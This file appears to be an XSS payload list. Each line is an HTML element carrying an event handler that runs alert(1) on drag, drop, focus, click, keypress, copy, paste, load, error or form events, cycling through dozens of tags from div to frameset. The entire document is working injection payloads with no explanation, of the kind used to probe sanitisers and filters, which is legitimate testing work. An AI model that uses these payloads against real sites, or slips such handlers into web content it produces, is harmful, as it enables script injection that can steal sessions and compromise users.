<div draggable="true" contenteditable>drag me</div><s ondragover=alert(1) contenteditable>drop here</s>
<div draggable="true" contenteditable>drag me</div><s ondrop=alert(1) contenteditable>drop here</s>
<div draggable="true" contenteditable>drag me</div><samp ondragover=alert(1) contenteditable>drop here</samp>
<div draggable="true" contenteditable>drag me</div><samp ondrop=alert(1) contenteditable>drop here</samp>
<div draggable="true" contenteditable>drag me</div><script ondragover=alert(1) contenteditable>drop here</script>
<div draggable="true" contenteditable>drag me</div><script ondrop=alert(1) contenteditable>drop here</script>
<div draggable="true" contenteditable>drag me</div><section ondragover=alert(1) contenteditable>drop here</section>
<div draggable="true" contenteditable>drag me</div><section ondrop=alert(1) contenteditable>drop here</section>
<div draggable="true" contenteditable>drag me</div><select ondragover=alert(1) contenteditable>drop here</select>
<div draggable="true" contenteditable>drag me</div><select ondrop=alert(1) contenteditable>drop here</select>
<div draggable="true" contenteditable>drag me</div><shadow ondragover=alert(1) contenteditable>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><shadow ondrop=alert(1) contenteditable>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><slot ondragover=alert(1) contenteditable>drop here</slot>
<div draggable="true" contenteditable>drag me</div><slot ondrop=alert(1) contenteditable>drop here</slot>
<div draggable="true" contenteditable>drag me</div><small ondragover=alert(1) contenteditable>drop here</small>
<div draggable="true" contenteditable>drag me</div><small ondrop=alert(1) contenteditable>drop here</small>
<div draggable="true" contenteditable>drag me</div><source ondragover=alert(1) contenteditable>drop here</source>
<div draggable="true" contenteditable>drag me</div><source ondrop=alert(1) contenteditable>drop here</source>
<div draggable="true" contenteditable>drag me</div><spacer ondragover=alert(1) contenteditable>drop here</spacer>
<div draggable="true" contenteditable>drag me</div><spacer ondrop=alert(1) contenteditable>drop here</spacer>
<div draggable="true" contenteditable>drag me</div><span ondragover=alert(1) contenteditable>drop here</span>
<div draggable="true" contenteditable>drag me</div><span ondrop=alert(1) contenteditable>drop here</span>
<div draggable="true" contenteditable>drag me</div><strike ondragover=alert(1) contenteditable>drop here</strike>
<div draggable="true" contenteditable>drag me</div><strike ondrop=alert(1) contenteditable>drop here</strike>
<div draggable="true" contenteditable>drag me</div><strong ondragover=alert(1) contenteditable>drop here</strong>
<div draggable="true" contenteditable>drag me</div><strong ondrop=alert(1) contenteditable>drop here</strong>
<div draggable="true" contenteditable>drag me</div><style ondragover=alert(1) contenteditable>drop here</style>
<div draggable="true" contenteditable>drag me</div><style ondrop=alert(1) contenteditable>drop here</style>
<div draggable="true" contenteditable>drag me</div><sub ondragover=alert(1) contenteditable>drop here</sub>
<div draggable="true" contenteditable>drag me</div><sub ondrop=alert(1) contenteditable>drop here</sub>
<div draggable="true" contenteditable>drag me</div><summary ondragover=alert(1) contenteditable>drop here</summary>
<div draggable="true" contenteditable>drag me</div><summary ondrop=alert(1) contenteditable>drop here</summary>
<div draggable="true" contenteditable>drag me</div><sup ondragover=alert(1) contenteditable>drop here</sup>
<div draggable="true" contenteditable>drag me</div><sup ondrop=alert(1) contenteditable>drop here</sup>
<div draggable="true" contenteditable>drag me</div><svg ondragover=alert(1) contenteditable>drop here</svg>
<div draggable="true" contenteditable>drag me</div><svg ondrop=alert(1) contenteditable>drop here</svg>
<div draggable="true" contenteditable>drag me</div><table ondragover=alert(1) contenteditable>drop here</table>
<div draggable="true" contenteditable>drag me</div><table ondrop=alert(1) contenteditable>drop here</table>
<div draggable="true" contenteditable>drag me</div><tbody ondragover=alert(1) contenteditable>drop here</tbody>
<div draggable="true" contenteditable>drag me</div><tbody ondrop=alert(1) contenteditable>drop here</tbody>
<div draggable="true" contenteditable>drag me</div><td ondragover=alert(1) contenteditable>drop here</td>
<div draggable="true" contenteditable>drag me</div><td ondrop=alert(1) contenteditable>drop here</td>
<div draggable="true" contenteditable>drag me</div><template ondragover=alert(1) contenteditable>drop here</template>
<div draggable="true" contenteditable>drag me</div><template ondrop=alert(1) contenteditable>drop here</template>
<div draggable="true" contenteditable>drag me</div><textarea ondragover=alert(1) contenteditable>drop here</textarea>
<div draggable="true" contenteditable>drag me</div><textarea ondrop=alert(1) contenteditable>drop here</textarea>
<div draggable="true" contenteditable>drag me</div><tfoot ondragover=alert(1) contenteditable>drop here</tfoot>
<div draggable="true" contenteditable>drag me</div><tfoot ondrop=alert(1) contenteditable>drop here</tfoot>
<div draggable="true" contenteditable>drag me</div><th ondragover=alert(1) contenteditable>drop here</th>
<div draggable="true" contenteditable>drag me</div><th ondrop=alert(1) contenteditable>drop here</th>
<div draggable="true" contenteditable>drag me</div><thead ondragover=alert(1) contenteditable>drop here</thead>
<div draggable="true" contenteditable>drag me</div><thead ondrop=alert(1) contenteditable>drop here</thead>
<div draggable="true" contenteditable>drag me</div><time ondragover=alert(1) contenteditable>drop here</time>
<div draggable="true" contenteditable>drag me</div><time ondrop=alert(1) contenteditable>drop here</time>
<div draggable="true" contenteditable>drag me</div><title ondragover=alert(1) contenteditable>drop here</title>
<div draggable="true" contenteditable>drag me</div><title ondrop=alert(1) contenteditable>drop here</title>
<div draggable="true" contenteditable>drag me</div><tr ondragover=alert(1) contenteditable>drop here</tr>
<div draggable="true" contenteditable>drag me</div><tr ondrop=alert(1) contenteditable>drop here</tr>
<div draggable="true" contenteditable>drag me</div><track ondragover=alert(1) contenteditable>drop here</track>
<div draggable="true" contenteditable>drag me</div><track ondrop=alert(1) contenteditable>drop here</track>
<div draggable="true" contenteditable>drag me</div><tt ondragover=alert(1) contenteditable>drop here</tt>
<div draggable="true" contenteditable>drag me</div><tt ondrop=alert(1) contenteditable>drop here</tt>
<div draggable="true" contenteditable>drag me</div><u ondragover=alert(1) contenteditable>drop here</u>
<div draggable="true" contenteditable>drag me</div><u ondrop=alert(1) contenteditable>drop here</u>
<div draggable="true" contenteditable>drag me</div><ul ondragover=alert(1) contenteditable>drop here</ul>
<div draggable="true" contenteditable>drag me</div><ul ondrop=alert(1) contenteditable>drop here</ul>
<div draggable="true" contenteditable>drag me</div><var ondragover=alert(1) contenteditable>drop here</var>
<div draggable="true" contenteditable>drag me</div><var ondrop=alert(1) contenteditable>drop here</var>
<div draggable="true" contenteditable>drag me</div><video ondragover=alert(1) contenteditable>drop here</video>
<div draggable="true" contenteditable>drag me</div><video ondrop=alert(1) contenteditable>drop here</video>
<div draggable="true" contenteditable>drag me</div><wbr ondragover=alert(1) contenteditable>drop here</wbr>
<div draggable="true" contenteditable>drag me</div><wbr ondrop=alert(1) contenteditable>drop here</wbr>
<div draggable="true" contenteditable>drag me</div><xmp ondragover=alert(1) contenteditable>drop here</xmp>
<div draggable="true" contenteditable>drag me</div><xmp ondrop=alert(1) contenteditable>drop here</xmp>
<div draggable="true" ondrag="alert(1)">test</div>
<div draggable="true" ondragend="alert(1)">test</div>
<div draggable="true" ondragenter="alert(1)">test</div>
<div draggable="true" ondragleave="alert(1)">test</div>
<div draggable="true" ondragstart="alert(1)">test</div>
<div id=x tabindex=1 onactivate=alert(1)></div>
<div id=x tabindex=1 onbeforeactivate=alert(1)></div>
<div id=x tabindex=1 onbeforedeactivate=alert(1)></div><input autofocus>
<div id=x tabindex=1 ondeactivate=alert(1)></div><input id=y autofocus>
<div id=x tabindex=1 onfocus=alert(1)></div>
<div id=x tabindex=1 onfocusin=alert(1)></div>
<div onbeforecopy="alert(1)" contenteditable>test</div>
<div onbeforecut="alert(1)" contenteditable>test</div>
<div onbeforepaste="alert(1)" contenteditable>test</div>
<div onblur=alert(1) tabindex=1 id=x></div><input autofocus>
<div onclick="alert(1)">test</div>
<div oncontextmenu="alert(1)">test</div>
<div oncopy="alert(1)" contenteditable>test</div>
<div oncut="alert(1)" contenteditable>test</div>
<div ondblclick="alert(1)">test</div>
<div onfocusout=alert(1) tabindex=1 id=x></div><input autofocus>
<div onkeydown="alert(1)" contenteditable>test</div>
<div onkeypress="alert(1)" contenteditable>test</div>
<div onkeyup="alert(1)" contenteditable>test</div>
<div onmousedown="alert(1)">test</div>
<div onmouseenter="alert(1)">test</div>
<div onmouseleave="alert(1)">test</div>
<div onmousemove="alert(1)">test</div>
<div onmouseout="alert(1)">test</div>
<div onmouseover="alert(1)">test</div>
<div onmouseup="alert(1)">test</div>
<div onpaste="alert(1)" contenteditable>test</div>
<dl draggable="true" ondrag="alert(1)">test</dl>
<dl draggable="true" ondragend="alert(1)">test</dl>
<dl draggable="true" ondragenter="alert(1)">test</dl>
<dl draggable="true" ondragleave="alert(1)">test</dl>
<dl draggable="true" ondragstart="alert(1)">test</dl>
<dl id=x tabindex=1 onactivate=alert(1)></dl>
<dl id=x tabindex=1 onbeforeactivate=alert(1)></dl>
<dl id=x tabindex=1 onbeforedeactivate=alert(1)></dl><input autofocus>
<dl id=x tabindex=1 ondeactivate=alert(1)></dl><input id=y autofocus>
<dl id=x tabindex=1 onfocus=alert(1)></dl>
<dl id=x tabindex=1 onfocusin=alert(1)></dl>
<dl onbeforecopy="alert(1)" contenteditable>test</dl>
<dl onbeforecut="alert(1)" contenteditable>test</dl>
<dl onbeforepaste="alert(1)" contenteditable>test</dl>
<dl onblur=alert(1) tabindex=1 id=x></dl><input autofocus>
<dl onclick="alert(1)">test</dl>
<dl oncontextmenu="alert(1)">test</dl>
<dl oncopy="alert(1)" contenteditable>test</dl>
<dl oncut="alert(1)" contenteditable>test</dl>
<dl ondblclick="alert(1)">test</dl>
<dl onfocusout=alert(1) tabindex=1 id=x></dl><input autofocus>
<dl onkeydown="alert(1)" contenteditable>test</dl>
<dl onkeypress="alert(1)" contenteditable>test</dl>
<dl onkeyup="alert(1)" contenteditable>test</dl>
<dl onmousedown="alert(1)">test</dl>
<dl onmouseenter="alert(1)">test</dl>
<dl onmouseleave="alert(1)">test</dl>
<dl onmousemove="alert(1)">test</dl>
<dl onmouseout="alert(1)">test</dl>
<dl onmouseover="alert(1)">test</dl>
<dl onmouseup="alert(1)">test</dl>
<dl onpaste="alert(1)" contenteditable>test</dl>
<dt draggable="true" ondrag="alert(1)">test</dt>
<dt draggable="true" ondragend="alert(1)">test</dt>
<dt draggable="true" ondragenter="alert(1)">test</dt>
<dt draggable="true" ondragleave="alert(1)">test</dt>
<dt draggable="true" ondragstart="alert(1)">test</dt>
<dt id=x tabindex=1 onactivate=alert(1)></dt>
<dt id=x tabindex=1 onbeforeactivate=alert(1)></dt>
<dt id=x tabindex=1 onbeforedeactivate=alert(1)></dt><input autofocus>
<dt id=x tabindex=1 ondeactivate=alert(1)></dt><input id=y autofocus>
<dt id=x tabindex=1 onfocus=alert(1)></dt>
<dt id=x tabindex=1 onfocusin=alert(1)></dt>
<dt onbeforecopy="alert(1)" contenteditable>test</dt>
<dt onbeforecut="alert(1)" contenteditable>test</dt>
<dt onbeforepaste="alert(1)" contenteditable>test</dt>
<dt onblur=alert(1) tabindex=1 id=x></dt><input autofocus>
<dt onclick="alert(1)">test</dt>
<dt oncontextmenu="alert(1)">test</dt>
<dt oncopy="alert(1)" contenteditable>test</dt>
<dt oncut="alert(1)" contenteditable>test</dt>
<dt ondblclick="alert(1)">test</dt>
<dt onfocusout=alert(1) tabindex=1 id=x></dt><input autofocus>
<dt onkeydown="alert(1)" contenteditable>test</dt>
<dt onkeypress="alert(1)" contenteditable>test</dt>
<dt onkeyup="alert(1)" contenteditable>test</dt>
<dt onmousedown="alert(1)">test</dt>
<dt onmouseenter="alert(1)">test</dt>
<dt onmouseleave="alert(1)">test</dt>
<dt onmousemove="alert(1)">test</dt>
<dt onmouseout="alert(1)">test</dt>
<dt onmouseover="alert(1)">test</dt>
<dt onmouseup="alert(1)">test</dt>
<dt onpaste="alert(1)" contenteditable>test</dt>
<element draggable="true" ondrag="alert(1)">test</element>
<element draggable="true" ondragend="alert(1)">test</element>
<element draggable="true" ondragenter="alert(1)">test</element>
<element draggable="true" ondragleave="alert(1)">test</element>
<element draggable="true" ondragstart="alert(1)">test</element>
<element id=x tabindex=1 onactivate=alert(1)></element>
<element id=x tabindex=1 onbeforeactivate=alert(1)></element>
<element id=x tabindex=1 onbeforedeactivate=alert(1)></element><input autofocus>
<element id=x tabindex=1 ondeactivate=alert(1)></element><input id=y autofocus>
<element id=x tabindex=1 onfocus=alert(1)></element>
<element id=x tabindex=1 onfocusin=alert(1)></element>
<element onbeforecopy="alert(1)" contenteditable>test</element>
<element onbeforecut="alert(1)" contenteditable>test</element>
<element onbeforepaste="alert(1)" contenteditable>test</element>
<element onblur=alert(1) tabindex=1 id=x></element><input autofocus>
<element onclick="alert(1)">test</element>
<element oncontextmenu="alert(1)">test</element>
<element oncopy="alert(1)" contenteditable>test</element>
<element oncut="alert(1)" contenteditable>test</element>
<element ondblclick="alert(1)">test</element>
<element onfocusout=alert(1) tabindex=1 id=x></element><input autofocus>
<element onkeydown="alert(1)" contenteditable>test</element>
<element onkeypress="alert(1)" contenteditable>test</element>
<element onkeyup="alert(1)" contenteditable>test</element>
<element onmousedown="alert(1)">test</element>
<element onmouseenter="alert(1)">test</element>
<element onmouseleave="alert(1)">test</element>
<element onmousemove="alert(1)">test</element>
<element onmouseout="alert(1)">test</element>
<element onmouseover="alert(1)">test</element>
<element onmouseup="alert(1)">test</element>
<element onpaste="alert(1)" contenteditable>test</element>
<em draggable="true" ondrag="alert(1)">test</em>
<em draggable="true" ondragend="alert(1)">test</em>
<em draggable="true" ondragenter="alert(1)">test</em>
<em draggable="true" ondragleave="alert(1)">test</em>
<em draggable="true" ondragstart="alert(1)">test</em>
<em id=x tabindex=1 onactivate=alert(1)></em>
<em id=x tabindex=1 onbeforeactivate=alert(1)></em>
<em id=x tabindex=1 onbeforedeactivate=alert(1)></em><input autofocus>
<em id=x tabindex=1 ondeactivate=alert(1)></em><input id=y autofocus>
<em id=x tabindex=1 onfocus=alert(1)></em>
<em id=x tabindex=1 onfocusin=alert(1)></em>
<em onbeforecopy="alert(1)" contenteditable>test</em>
<em onbeforecut="alert(1)" contenteditable>test</em>
<em onbeforepaste="alert(1)" contenteditable>test</em>
<em onblur=alert(1) tabindex=1 id=x></em><input autofocus>
<em onclick="alert(1)">test</em>
<em oncontextmenu="alert(1)">test</em>
<em oncopy="alert(1)" contenteditable>test</em>
<em oncut="alert(1)" contenteditable>test</em>
<em ondblclick="alert(1)">test</em>
<em onfocusout=alert(1) tabindex=1 id=x></em><input autofocus>
<em onkeydown="alert(1)" contenteditable>test</em>
<em onkeypress="alert(1)" contenteditable>test</em>
<em onkeyup="alert(1)" contenteditable>test</em>
<em onmousedown="alert(1)">test</em>
<em onmouseenter="alert(1)">test</em>
<em onmouseleave="alert(1)">test</em>
<em onmousemove="alert(1)">test</em>
<em onmouseout="alert(1)">test</em>
<em onmouseover="alert(1)">test</em>
<em onmouseup="alert(1)">test</em>
<em onpaste="alert(1)" contenteditable>test</em>
<embed draggable="true" ondrag="alert(1)">test</embed>
<embed draggable="true" ondragend="alert(1)">test</embed>
<embed draggable="true" ondragenter="alert(1)">test</embed>
<embed draggable="true" ondragleave="alert(1)">test</embed>
<embed draggable="true" ondragstart="alert(1)">test</embed>
<embed id=x onfocus=alert(1) type=text/html>
<embed id=x onfocusin=alert(1) type=text/html>
<embed id=x tabindex=1 onactivate=alert(1)></embed>
<embed id=x tabindex=1 onbeforeactivate=alert(1)></embed>
<embed id=x tabindex=1 onbeforedeactivate=alert(1)></embed><input autofocus>
<embed id=x tabindex=1 ondeactivate=alert(1)></embed><input id=y autofocus>
<embed onbeforecopy="alert(1)" contenteditable>test</embed>
<embed onbeforecut="alert(1)" contenteditable>test</embed>
<embed onbeforepaste="alert(1)" contenteditable>test</embed>
<embed onblur=alert(1) tabindex=1 id=x></embed><input autofocus>
<embed onclick="alert(1)">test</embed>
<embed oncontextmenu="alert(1)">test</embed>
<embed oncopy="alert(1)" contenteditable>test</embed>
<embed oncut="alert(1)" contenteditable>test</embed>
<embed ondblclick="alert(1)">test</embed>
<embed onfocusout=alert(1) tabindex=1 id=x></embed><input autofocus>
<embed onkeydown="alert(1)" contenteditable>test</embed>
<embed onkeypress="alert(1)" contenteditable>test</embed>
<embed onkeyup="alert(1)" contenteditable>test</embed>
<embed onmousedown="alert(1)">test</embed>
<embed onmouseenter="alert(1)">test</embed>
<embed onmouseleave="alert(1)">test</embed>
<embed onmousemove="alert(1)">test</embed>
<embed onmouseout="alert(1)">test</embed>
<embed onmouseover="alert(1)">test</embed>
<embed onmouseup="alert(1)">test</embed>
<embed onpaste="alert(1)" contenteditable>test</embed>
<embed src=/ onload=alert(1)>
<embed src=1 onerror=alert(1) type=image/gif>
<fieldset draggable="true" ondrag="alert(1)">test</fieldset>
<fieldset draggable="true" ondragend="alert(1)">test</fieldset>
<fieldset draggable="true" ondragenter="alert(1)">test</fieldset>
<fieldset draggable="true" ondragleave="alert(1)">test</fieldset>
<fieldset draggable="true" ondragstart="alert(1)">test</fieldset>
<fieldset id=x tabindex=1 onactivate=alert(1)></fieldset>
<fieldset id=x tabindex=1 onbeforeactivate=alert(1)></fieldset>
<fieldset id=x tabindex=1 onbeforedeactivate=alert(1)></fieldset><input autofocus>
<fieldset id=x tabindex=1 ondeactivate=alert(1)></fieldset><input id=y autofocus>
<fieldset id=x tabindex=1 onfocus=alert(1)></fieldset>
<fieldset id=x tabindex=1 onfocusin=alert(1)></fieldset>
<fieldset onbeforecopy="alert(1)" contenteditable>test</fieldset>
<fieldset onbeforecut="alert(1)" contenteditable>test</fieldset>
<fieldset onbeforepaste="alert(1)" contenteditable>test</fieldset>
<fieldset onblur=alert(1) tabindex=1 id=x></fieldset><input autofocus>
<fieldset onclick="alert(1)">test</fieldset>
<fieldset oncontextmenu="alert(1)">test</fieldset>
<fieldset oncopy="alert(1)" contenteditable>test</fieldset>
<fieldset oncut="alert(1)" contenteditable>test</fieldset>
<fieldset ondblclick="alert(1)">test</fieldset>
<fieldset onfocusout=alert(1) tabindex=1 id=x></fieldset><input autofocus>
<fieldset onkeydown="alert(1)" contenteditable>test</fieldset>
<fieldset onkeypress="alert(1)" contenteditable>test</fieldset>
<fieldset onkeyup="alert(1)" contenteditable>test</fieldset>
<fieldset onmousedown="alert(1)">test</fieldset>
<fieldset onmouseenter="alert(1)">test</fieldset>
<fieldset onmouseleave="alert(1)">test</fieldset>
<fieldset onmousemove="alert(1)">test</fieldset>
<fieldset onmouseout="alert(1)">test</fieldset>
<fieldset onmouseover="alert(1)">test</fieldset>
<fieldset onmouseup="alert(1)">test</fieldset>
<fieldset onpaste="alert(1)" contenteditable>test</fieldset>
<figcaption draggable="true" ondrag="alert(1)">test</figcaption>
<figcaption draggable="true" ondragend="alert(1)">test</figcaption>
<figcaption draggable="true" ondragenter="alert(1)">test</figcaption>
<figcaption draggable="true" ondragleave="alert(1)">test</figcaption>
<figcaption draggable="true" ondragstart="alert(1)">test</figcaption>
<figcaption id=x tabindex=1 onactivate=alert(1)></figcaption>
<figcaption id=x tabindex=1 onbeforeactivate=alert(1)></figcaption>
<figcaption id=x tabindex=1 onbeforedeactivate=alert(1)></figcaption><input autofocus>
<figcaption id=x tabindex=1 ondeactivate=alert(1)></figcaption><input id=y autofocus>
<figcaption id=x tabindex=1 onfocus=alert(1)></figcaption>
<figcaption id=x tabindex=1 onfocusin=alert(1)></figcaption>
<figcaption onbeforecopy="alert(1)" contenteditable>test</figcaption>
<figcaption onbeforecut="alert(1)" contenteditable>test</figcaption>
<figcaption onbeforepaste="alert(1)" contenteditable>test</figcaption>
<figcaption onblur=alert(1) tabindex=1 id=x></figcaption><input autofocus>
<figcaption onclick="alert(1)">test</figcaption>
<figcaption oncontextmenu="alert(1)">test</figcaption>
<figcaption oncopy="alert(1)" contenteditable>test</figcaption>
<figcaption oncut="alert(1)" contenteditable>test</figcaption>
<figcaption ondblclick="alert(1)">test</figcaption>
<figcaption onfocusout=alert(1) tabindex=1 id=x></figcaption><input autofocus>
<figcaption onkeydown="alert(1)" contenteditable>test</figcaption>
<figcaption onkeypress="alert(1)" contenteditable>test</figcaption>
<figcaption onkeyup="alert(1)" contenteditable>test</figcaption>
<figcaption onmousedown="alert(1)">test</figcaption>
<figcaption onmouseenter="alert(1)">test</figcaption>
<figcaption onmouseleave="alert(1)">test</figcaption>
<figcaption onmousemove="alert(1)">test</figcaption>
<figcaption onmouseout="alert(1)">test</figcaption>
<figcaption onmouseover="alert(1)">test</figcaption>
<figcaption onmouseup="alert(1)">test</figcaption>
<figcaption onpaste="alert(1)" contenteditable>test</figcaption>
<figure draggable="true" ondrag="alert(1)">test</figure>
<figure draggable="true" ondragend="alert(1)">test</figure>
<figure draggable="true" ondragenter="alert(1)">test</figure>
<figure draggable="true" ondragleave="alert(1)">test</figure>
<figure draggable="true" ondragstart="alert(1)">test</figure>
<figure id=x tabindex=1 onactivate=alert(1)></figure>
<figure id=x tabindex=1 onbeforeactivate=alert(1)></figure>
<figure id=x tabindex=1 onbeforedeactivate=alert(1)></figure><input autofocus>
<figure id=x tabindex=1 ondeactivate=alert(1)></figure><input id=y autofocus>
<figure id=x tabindex=1 onfocus=alert(1)></figure>
<figure id=x tabindex=1 onfocusin=alert(1)></figure>
<figure onbeforecopy="alert(1)" contenteditable>test</figure>
<figure onbeforecut="alert(1)" contenteditable>test</figure>
<figure onbeforepaste="alert(1)" contenteditable>test</figure>
<figure onblur=alert(1) tabindex=1 id=x></figure><input autofocus>
<figure onclick="alert(1)">test</figure>
<figure oncontextmenu="alert(1)">test</figure>
<figure oncopy="alert(1)" contenteditable>test</figure>
<figure oncut="alert(1)" contenteditable>test</figure>
<figure ondblclick="alert(1)">test</figure>
<figure onfocusout=alert(1) tabindex=1 id=x></figure><input autofocus>
<figure onkeydown="alert(1)" contenteditable>test</figure>
<figure onkeypress="alert(1)" contenteditable>test</figure>
<figure onkeyup="alert(1)" contenteditable>test</figure>
<figure onmousedown="alert(1)">test</figure>
<figure onmouseenter="alert(1)">test</figure>
<figure onmouseleave="alert(1)">test</figure>
<figure onmousemove="alert(1)">test</figure>
<figure onmouseout="alert(1)">test</figure>
<figure onmouseover="alert(1)">test</figure>
<figure onmouseup="alert(1)">test</figure>
<figure onpaste="alert(1)" contenteditable>test</figure>
<font draggable="true" ondrag="alert(1)">test</font>
<font draggable="true" ondragend="alert(1)">test</font>
<font draggable="true" ondragenter="alert(1)">test</font>
<font draggable="true" ondragleave="alert(1)">test</font>
<font draggable="true" ondragstart="alert(1)">test</font>
<font id=x tabindex=1 onactivate=alert(1)></font>
<font id=x tabindex=1 onbeforeactivate=alert(1)></font>
<font id=x tabindex=1 onbeforedeactivate=alert(1)></font><input autofocus>
<font id=x tabindex=1 ondeactivate=alert(1)></font><input id=y autofocus>
<font id=x tabindex=1 onfocus=alert(1)></font>
<font id=x tabindex=1 onfocusin=alert(1)></font>
<font onbeforecopy="alert(1)" contenteditable>test</font>
<font onbeforecut="alert(1)" contenteditable>test</font>
<font onbeforepaste="alert(1)" contenteditable>test</font>
<font onblur=alert(1) tabindex=1 id=x></font><input autofocus>
<font onclick="alert(1)">test</font>
<font oncontextmenu="alert(1)">test</font>
<font oncopy="alert(1)" contenteditable>test</font>
<font oncut="alert(1)" contenteditable>test</font>
<font ondblclick="alert(1)">test</font>
<font onfocusout=alert(1) tabindex=1 id=x></font><input autofocus>
<font onkeydown="alert(1)" contenteditable>test</font>
<font onkeypress="alert(1)" contenteditable>test</font>
<font onkeyup="alert(1)" contenteditable>test</font>
<font onmousedown="alert(1)">test</font>
<font onmouseenter="alert(1)">test</font>
<font onmouseleave="alert(1)">test</font>
<font onmousemove="alert(1)">test</font>
<font onmouseout="alert(1)">test</font>
<font onmouseover="alert(1)">test</font>
<font onmouseup="alert(1)">test</font>
<font onpaste="alert(1)" contenteditable>test</font>
<footer draggable="true" ondrag="alert(1)">test</footer>
<footer draggable="true" ondragend="alert(1)">test</footer>
<footer draggable="true" ondragenter="alert(1)">test</footer>
<footer draggable="true" ondragleave="alert(1)">test</footer>
<footer draggable="true" ondragstart="alert(1)">test</footer>
<footer id=x tabindex=1 onactivate=alert(1)></footer>
<footer id=x tabindex=1 onbeforeactivate=alert(1)></footer>
<footer id=x tabindex=1 onbeforedeactivate=alert(1)></footer><input autofocus>
<footer id=x tabindex=1 ondeactivate=alert(1)></footer><input id=y autofocus>
<footer id=x tabindex=1 onfocus=alert(1)></footer>
<footer id=x tabindex=1 onfocusin=alert(1)></footer>
<footer onbeforecopy="alert(1)" contenteditable>test</footer>
<footer onbeforecut="alert(1)" contenteditable>test</footer>
<footer onbeforepaste="alert(1)" contenteditable>test</footer>
<footer onblur=alert(1) tabindex=1 id=x></footer><input autofocus>
<footer onclick="alert(1)">test</footer>
<footer oncontextmenu="alert(1)">test</footer>
<footer oncopy="alert(1)" contenteditable>test</footer>
<footer oncut="alert(1)" contenteditable>test</footer>
<footer ondblclick="alert(1)">test</footer>
<footer onfocusout=alert(1) tabindex=1 id=x></footer><input autofocus>
<footer onkeydown="alert(1)" contenteditable>test</footer>
<footer onkeypress="alert(1)" contenteditable>test</footer>
<footer onkeyup="alert(1)" contenteditable>test</footer>
<footer onmousedown="alert(1)">test</footer>
<footer onmouseenter="alert(1)">test</footer>
<footer onmouseleave="alert(1)">test</footer>
<footer onmousemove="alert(1)">test</footer>
<footer onmouseout="alert(1)">test</footer>
<footer onmouseover="alert(1)">test</footer>
<footer onmouseup="alert(1)">test</footer>
<footer onpaste="alert(1)" contenteditable>test</footer>
<form draggable="true" ondrag="alert(1)">test</form>
<form draggable="true" ondragend="alert(1)">test</form>
<form draggable="true" ondragenter="alert(1)">test</form>
<form draggable="true" ondragleave="alert(1)">test</form>
<form draggable="true" ondragstart="alert(1)">test</form>
<form id=x tabindex=1 onactivate=alert(1)></form>
<form id=x tabindex=1 onbeforeactivate=alert(1)></form>
<form id=x tabindex=1 onbeforedeactivate=alert(1)></form><input autofocus>
<form id=x tabindex=1 ondeactivate=alert(1)></form><input id=y autofocus>
<form id=x tabindex=1 onfocus=alert(1)></form>
<form id=x tabindex=1 onfocusin=alert(1)></form>
<form onbeforecopy="alert(1)" contenteditable>test</form>
<form onbeforecut="alert(1)" contenteditable>test</form>
<form onbeforepaste="alert(1)" contenteditable>test</form>
<form onblur=alert(1) tabindex=1 id=x></form><input autofocus>
<form onclick="alert(1)">test</form>
<form oncontextmenu="alert(1)">test</form>
<form oncopy="alert(1)" contenteditable>test</form>
<form oncut="alert(1)" contenteditable>test</form>
<form ondblclick="alert(1)">test</form>
<form onfocusout=alert(1) tabindex=1 id=x></form><input autofocus>
<form onkeydown="alert(1)" contenteditable>test</form>
<form onkeypress="alert(1)" contenteditable>test</form>
<form onkeyup="alert(1)" contenteditable>test</form>
<form onmousedown="alert(1)">test</form>
<form onmouseenter="alert(1)">test</form>
<form onmouseleave="alert(1)">test</form>
<form onmousemove="alert(1)">test</form>
<form onmouseout="alert(1)">test</form>
<form onmouseover="alert(1)">test</form>
<form onmouseup="alert(1)">test</form>
<form onpaste="alert(1)" contenteditable>test</form>
<form onreset=alert(1)><input type=reset>
<form onsubmit=alert(1)><input type=submit>
<form><input oninvalid=alert(1) required><input type=submit>
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
<form><textarea oninvalid=alert(1) required><input type=submit>
<frame draggable="true" ondrag="alert(1)">test</frame>
<frame draggable="true" ondragend="alert(1)">test</frame>
<frame draggable="true" ondragenter="alert(1)">test</frame>
<frame draggable="true" ondragleave="alert(1)">test</frame>
<frame draggable="true" ondragstart="alert(1)">test</frame>
<frame id=x tabindex=1 onactivate=alert(1)></frame>
<frame id=x tabindex=1 onbeforeactivate=alert(1)></frame>
<frame id=x tabindex=1 onbeforedeactivate=alert(1)></frame><input autofocus>
<frame id=x tabindex=1 ondeactivate=alert(1)></frame><input id=y autofocus>
<frame onbeforecopy="alert(1)" contenteditable>test</frame>
<frame onbeforecut="alert(1)" contenteditable>test</frame>
<frame onbeforepaste="alert(1)" contenteditable>test</frame>
<frame onblur=alert(1) tabindex=1 id=x></frame><input autofocus>
<frame onclick="alert(1)">test</frame>
<frame oncontextmenu="alert(1)">test</frame>
<frame oncopy="alert(1)" contenteditable>test</frame>
<frame oncut="alert(1)" contenteditable>test</frame>
<frame ondblclick="alert(1)">test</frame>
<frame onfocusout=alert(1) tabindex=1 id=x></frame><input autofocus>
<frame onkeydown="alert(1)" contenteditable>test</frame>
<frame onkeypress="alert(1)" contenteditable>test</frame>
<frame onkeyup="alert(1)" contenteditable>test</frame>
<frame onmousedown="alert(1)">test</frame>
<frame onmouseenter="alert(1)">test</frame>
<frame onmouseleave="alert(1)">test</frame>
<frame onmousemove="alert(1)">test</frame>
<frame onmouseout="alert(1)">test</frame>
<frame onmouseover="alert(1)">test</frame>
<frame onmouseup="alert(1)">test</frame>
<frame onpaste="alert(1)" contenteditable>test</frame>
<frameset draggable="true" ondrag="alert(1)">test</frameset>
<frameset draggable="true" ondragend="alert(1)">test</frameset>
<frameset draggable="true" ondragenter="alert(1)">test</frameset>
<frameset draggable="true" ondragleave="alert(1)">test</frameset>
<frameset draggable="true" ondragstart="alert(1)">test</frameset>
<frameset id=x tabindex=1 onactivate=alert(1)></frameset>
<frameset id=x tabindex=1 onbeforeactivate=alert(1)></frameset>
<frameset id=x tabindex=1 onbeforedeactivate=alert(1)></frameset><input autofocus>
<frameset id=x tabindex=1 ondeactivate=alert(1)></frameset><input id=y autofocus>
<frameset id=x tabindex=1 onfocus=alert(1)></frameset>
<frameset id=x tabindex=1 onfocusin=alert(1)></frameset>
<frameset onbeforecopy="alert(1)" contenteditable>test</frameset>
<frameset onbeforecut="alert(1)" contenteditable>test</frameset>
<frameset onbeforepaste="alert(1)" contenteditable>test</frameset>
<frameset onblur=alert(1) tabindex=1 id=x></frameset><input autofocus>
<frameset onclick="alert(1)">test</frameset>
<frameset oncontextmenu="alert(1)">test</frameset>
